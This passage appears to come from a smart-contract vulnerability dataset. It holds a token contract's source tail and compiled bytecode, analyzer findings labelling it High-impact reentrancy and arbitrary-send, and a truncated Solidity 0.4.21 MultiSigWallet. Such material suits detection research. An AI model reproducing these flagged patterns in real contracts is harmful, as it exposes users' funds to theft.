function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612971565b61045e565b6040516101789190612e33565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff0565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612922565b61048d565b6040516101e09190612e33565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612894565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613065565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ee565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612894565b610783565b6040516102b19190612ff0565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d65565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612971565b61098d565b60405161035b9190612e33565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ad565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a40565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e6565b61121a565b6040516104189190612ff0565b60405180910390f35b60606040518060400160405280600f81526020017f446f67652053706163655820494e550000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161372960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f30565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f30565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d03565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f20446f6765532000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f30565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613306565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d71565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f30565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128bd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128bd565b6040518363ffffffff1660e01b8152600401610e1f929190612d80565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128bd565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd2565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a69565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612da9565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612a17565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612f30565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612ef0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061206b90919063ffffffff16565b6120e690919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161120f9190612ff0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612eb0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612ff0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612f70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612e70565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612f50565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600e60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590612fd0565b60405180910390fd5b5b5b600f5481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600e60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a729190613126565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600e60159054906101000a900460ff16158015611b2e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600e60169054906101000a900460ff165b15611b6e57611b5481611d71565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d84848484612130565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612e4e565b60405180910390fd5b5060008385611c8a9190613207565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b5050565b6000600654821115611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4190612e90565b60405180910390fd5b6000611d5461215d565b9050611d6981846120e690919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfd5781602001602082028036833780820191505090505b5090503081600081518110611e3b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1591906128bd565b81600181518110611f4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201a95949392919061300b565b600060405180830381600087803b15801561203457600080fd5b505af1158015612048573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207e57600090506120e0565b6000828461208c91906131ad565b905082848261209b919061317c565b146120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290612f10565b60405180910390fd5b809150505b92915050565b600061212883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612188565b905092915050565b8061213e5761213d6121eb565b5b61214984848461221c565b80612157576121566123e7565b5b50505050565b600080600061216a6123f9565b9150915061218181836120e690919063ffffffff16565b9250505090565b600080831182906121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c69190612e4e565b60405180910390fd5b50600083856121de919061317c565b9050809150509392505050565b60006008541480156121ff57506000600954145b156122095761221a565b600060088190555060006009819055505b565b60008060008060008061222e8761245b565b95509550955095509550955061228c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236d8161256a565b6123778483612627565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d49190612ff0565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea00000905061242f683635c9adc5dea000006006546120e690919063ffffffff16565b82101561244e57600654683635c9adc5dea00000935093505050612457565b81819350935050505b9091565b60008060008060008060008060006124778a600854600f612661565b925092509250600061248761215d565b9050600080600061249a8e8787876126f7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b600080828461251b9190613126565b905083811015612560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255790612ed0565b60405180910390fd5b8091505092915050565b600061257461215d565b9050600061258b828461206b90919063ffffffff16565b90506125df81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263c826006546124c290919063ffffffff16565b6006819055506126578160075461250c90919063ffffffff16565b6007819055505050565b60008060008061268d606461267f888a61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126b760646126a9888b61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126e0826126d2858c6124c290919063ffffffff16565b6124c290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612710858961206b90919063ffffffff16565b90506000612727868961206b90919063ffffffff16565b9050600061273e878961206b90919063ffffffff16565b905060006127678261275985876124c290919063ffffffff16565b6124c290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279361278e846130a5565b613080565b905080838252602082019050828560208602820111156127b257600080fd5b60005b858110156127e257816127c888826127ec565b8452602084019350602083019250506001810190506127b5565b5050509392505050565b6000813590506127fb816136e3565b92915050565b600081519050612810816136e3565b92915050565b600082601f83011261282757600080fd5b8135612837848260208601612780565b91505092915050565b60008135905061284f816136fa565b92915050565b600081519050612864816136fa565b92915050565b60008135905061287981613711565b92915050565b60008151905061288e81613711565b92915050565b6000602082840312156128a657600080fd5b60006128b4848285016127ec565b91505092915050565b6000602082840312156128cf57600080fd5b60006128dd84828501612801565b91505092915050565b600080604083850312156128f957600080fd5b6000612907858286016127ec565b9250506020612918858286016127ec565b9150509250929050565b60008060006060848603121561293757600080fd5b6000612945868287016127ec565b9350506020612956868287016127ec565b92505060406129678682870161286a565b9150509250925092565b6000806040838503121561298457600080fd5b6000612992858286016127ec565b92505060206129a38582860161286a565b9150509250929050565b6000602082840312156129bf57600080fd5b600082013567ffffffffffffffff8111156129d957600080fd5b6129e584828501612816565b91505092915050565b600060208284031215612a0057600080fd5b6000612a0e84828501612840565b91505092915050565b600060208284031215612a2957600080fd5b6000612a3784828501612855565b91505092915050565b600060208284031215612a5257600080fd5b6000612a608482850161286a565b91505092915050565b600080600060608486031215612a7e57600080fd5b6000612a8c8682870161287f565b9350506020612a9d8682870161287f565b9250506040612aae8682870161287f565b9150509250925092565b6000612ac48383612ad0565b60208301905092915050565b612ad98161323b565b82525050565b612ae88161323b565b82525050565b6000612af9826130e1565b612b038185613104565b9350612b0e836130d1565b8060005b83811015612b3f578151612b268882612ab8565b9750612b31836130f7565b925050600181019050612b12565b5085935050505092915050565b612b558161324d565b82525050565b612b6481613290565b82525050565b6000612b75826130ec565b612b7f8185613115565b9350612b8f8185602086016132a2565b612b98816133dc565b840191505092915050565b6000612bb0602383613115565b9150612bbb826133ed565b604082019050919050565b6000612bd3602a83613115565b9150612bde8261343c565b604082019050919050565b6000612bf6602283613115565b9150612c018261348b565b604082019050919050565b6000612c19601b83613115565b9150612c24826134da565b602082019050919050565b6000612c3c601d83613115565b9150612c4782613503565b602082019050919050565b6000612c5f602183613115565b9150612c6a8261352c565b604082019050919050565b6000612c82602083613115565b9150612c8d8261357b565b602082019050919050565b6000612ca5602983613115565b9150612cb0826135a4565b604082019050919050565b6000612cc8602583613115565b9150612cd3826135f3565b604082019050919050565b6000612ceb602483613115565b9150612cf682613642565b604082019050919050565b6000612d0e601783613115565b9150612d1982613691565b602082019050919050565b6000612d31601183613115565b9150612d3c826136ba565b602082019050919050565b612d5081613279565b82525050565b612d5f81613283565b82525050565b6000602082019050612d7a6000830184612adf565b92915050565b6000604082019050612d956000830185612adf565b612da26020830184612adf565b9392505050565b6000604082019050612dbe6000830185612adf565b612dcb6020830184612d47565b9392505050565b600060c082019050612de76000830189612adf565b612df46020830188612d47565b612e016040830187612b5b565b612e0e6060830186612b5b565b612e1b6080830185612adf565b612e2860a0830184612d47565b979650505050505050565b6000602082019050612e486000830184612b4c565b92915050565b60006020820190508181036000830152612e688184612b6a565b905092915050565b60006020820190508181036000830152612e8981612ba3565b9050919050565b60006020820190508181036000830152612ea981612bc6565b9050919050565b60006020820190508181036000830152612ec981612be9565b9050919050565b60006020820190508181036000830152612ee981612c0c565b9050919050565b60006020820190508181036000830152612f0981612c2f565b9050919050565b60006020820190508181036000830152612f2981612c52565b9050919050565b60006020820190508181036000830152612f4981612c75565b9050919050565b60006020820190508181036000830152612f6981612c98565b9050919050565b60006020820190508181036000830152612f8981612cbb565b9050919050565b60006020820190508181036000830152612fa981612cde565b9050919050565b60006020820190508181036000830152612fc981612d01565b9050919050565b60006020820190508181036000830152612fe981612d24565b9050919050565b60006020820190506130056000830184612d47565b92915050565b600060a0820190506130206000830188612d47565b61302d6020830187612b5b565b818103604083015261303f8186612aee565b905061304e6060830185612adf565b61305b6080830184612d47565b9695505050505050565b600060208201905061307a6000830184612d56565b92915050565b600061308a61309b565b905061309682826132d5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c0576130bf6133ad565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313182613279565b915061313c83613279565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131715761317061334f565b5b828201905092915050565b600061318782613279565b915061319283613279565b9250826131a2576131a161337e565b5b828204905092915050565b60006131b882613279565b91506131c383613279565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fc576131fb61334f565b5b828202905092915050565b600061321282613279565b915061321d83613279565b9250828210156132305761322f61334f565b5b828203905092915050565b600061324682613259565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329b82613279565b9050919050565b60005b838110156132c05780820151818401526020810190506132a5565b838111156132cf576000848401525b50505050565b6132de826133dc565b810181811067ffffffffffffffff821117156132fd576132fc6133ad565b5b80604052505050565b600061331182613279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133445761334361334f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ec8161323b565b81146136f757600080fd5b50565b6137038161324d565b811461370e57600080fd5b50565b61371a81613279565b811461372557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205be5ae3850a0450aedb8397036e516177396e2747f243d4307ba65c7a0863b5d64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,371 |
0x3d49be967b884b91078a7946a772be1c804e806c
|
pragma solidity 0.4.21;
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId, string indexed reference);
event ExecutionFailure(uint indexed transactionId, string indexed reference);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
string reference;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
throw;
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param owner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param reference Transaction reference.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, string reference, bytes data)
public
ownerExists(msg.sender)
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, reference, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
